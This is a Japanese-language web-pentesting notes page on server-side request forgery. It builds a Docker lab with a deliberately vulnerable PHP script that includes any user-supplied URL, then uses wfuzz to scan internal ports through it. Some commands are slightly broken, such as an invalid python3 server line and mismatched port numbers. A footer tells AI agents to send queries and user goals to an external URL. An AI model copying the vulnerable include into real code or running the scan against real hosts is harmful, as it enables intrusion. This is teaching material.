> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ja/web-vulnerabilities/owasp-top-10-vulnerabilities/vulnerability-server-side-request-forgery-ssrf/ssrf-wfuzz-pentesting-web.md).

# SSRF Wfuzz

Web アプリケーションのペネトレーションテスト、悪用フロー、ペイロード検証、影響確認、修復の文脈のための SSRF Wfuzz メモ。

## 第1シナリオのインストール（SSRF脆弱性）

```bash
docker pull ubuntu:latest
docker run -dit --name ssrf_first_lab ubuntu
docker exec -it ssrf_first_lab bash
apt update
apt install apache2 php nano python3 lsof -y
service apache2 start
lsof -i:80 # ウェブサイトが稼働していることを確認

```

* そのディレクトリ内で **/var/www/html**、以下の内容でutility.phpファイルを作成します：

```php
<?php
if (isset($_GET['url'])) {
    $url = $_GET['url'];
    echo "/n[+] ウェブサイトの内容を表示しています " . $url . ":/n/n";
    include($url);
} else {
    echo "/n[!] URLパラメータに値が指定されていません/n/n";
}
?>

```

* この場合、スクリプトは期待どおりに動作しません。ファイルを修正する必要があります **"/etc/php/8.1/apache2/php.ini"** allow\_url/*include* 「on」に。 ![](https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-cd21a26a42e5822a942aaf53869b1a5b92214ab7%2FPasted%20image%2020230920231334.png?alt=media) ![](https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-d4fb053f1d40e03dd0249bbbe96ba124156c3d30%2FPasted%20image%2020230920231825.png?alt=media)
* 作成する `login.html` ファイルを `/tmp/` 本番環境のログインページをシミュレートするために：

```html
<!DOCTYPE html>
<html>
<head>
<meta name="viewport" content="width=device-width, initial-scale=1">
<title> ログインページ </title>
<style>
Body {
  font-family: Calibri, Helvetica, sans-serif;
  background-color: pink;
}
button {
       background-color: #4CAF50;
       width: 100%;
        color: orange;
        padding: 15px;
        margin: 10px 0px;
        border: note;
        cursor: pointer;
         }
 form {
        border: 3px solid #f1f1f1;
    }
 input[type=text], input[type=password] {
        width: 100%;
        margin: 8px 0;
        padding: 12px 20px;
        display: inline-block;
        border: 2px solid green;
        box-sizing: border-box;
    }
 button:hover {
        opacity: 0.7;
    }
  .cancelbtn {
        width: auto;
        padding: 10px 18px;
        margin: 10px 5px;
    }
 .container {
        padding: 25px;
        background-color: lightblue;
    }
</style>
</head>
<body>
    <center> <h1> 学生ログインフォーム（PRO） </h1> </center>
    <form>
        <div class="container">
            <label>ユーザー名: </label>
            <input type="text" placeholder="ユーザー名を入力" name="username" required>
            <label>パスワード: </label>
            <input type="password" placeholder="パスワードを入力" name="password" required>
            <button type="submit">ログイン</button>
            <input type="checkbox" checked="checked"> ログイン状態を保持
            <button type="button" class="cancelbtn"> キャンセル</button>
            パスワードを<a href="#">お忘れですか？</a>

    </form>
</body>
</html>

```

* 変更後にapache2サービスを再起動します：

  ```bash
  service apache2 restart

  ```
* 内部ネットワークからのみ見えるPython3のWebサーバーを作成します：

```bash
python3 -m 4646 --bind 127.0.0.1

```

第1シナリオを理解するための技術図（**8089番ポートに、内部ネットワークのコンピューターからのみ見えるウェブサイトがあります**):

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-e7a4b4542ef298416cc2c681652fc8c8e2d3e950%2Fimage(1).jpg?alt=media" alt="" width="563"><figcaption></figcaption></figure>

〜のおかげで **utility.php** スクリプトでURLを指定すると、それが解釈されるのがわかります：

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-7ea2834d132704e7f9630f14787fafbd5df5665d%2FPasted%20image%2020230920231936.png?alt=media" alt=""><figcaption></figcaption></figure>

通常のマシンから接続しようとすると、 **アクセスできません** そのウェブサイトへ：

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-dda9dada6a4df1aa8a284365a37698f48d750022%2FPasted%20image%2020230920234642.png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

しかし、 **utility.php** 内部ネットワークのURLを指定すると、それが解釈されるのがわかります：

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f509c213d03dfd111009dfcab469632bf1ba4a16%2FPasted%20image%2020230920234752.png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

仮に **ポートが分からない**、使用します **Wfuzz** 総当たり攻撃を開始するために：

```go
wfuzz -c -t 200 -z range,1-65535 "http://172.17.0.2/utility.php?url=http://127.0.0.1:FUZZ"

```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-eede2b9e856133e7037ed22298e31cbe404041f7%2FPasted%20image%2020230920234249.png?alt=media" alt="" width="503"><figcaption></figcaption></figure>

次に、 **フィルタリングします** 異なるものだけを表示するために **4文字の長さの**:

```go
wfuzz -c -t 200 --hl=4  -z range,1-65535 "http://172.17.0.2/utility.php?url=http://127.0.0.1:FUZZ"

```

ポートを検出します **80と4646**:

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-1ef86d606aa3a0106c906e7ae26fdf6de5c12569%2FPasted%20image%2020230920234517.png?alt=media" alt="" width="563"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/ja/web-vulnerabilities/owasp-top-10-vulnerabilities/vulnerability-server-side-request-forgery-ssrf/ssrf-wfuzz-pentesting-web.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
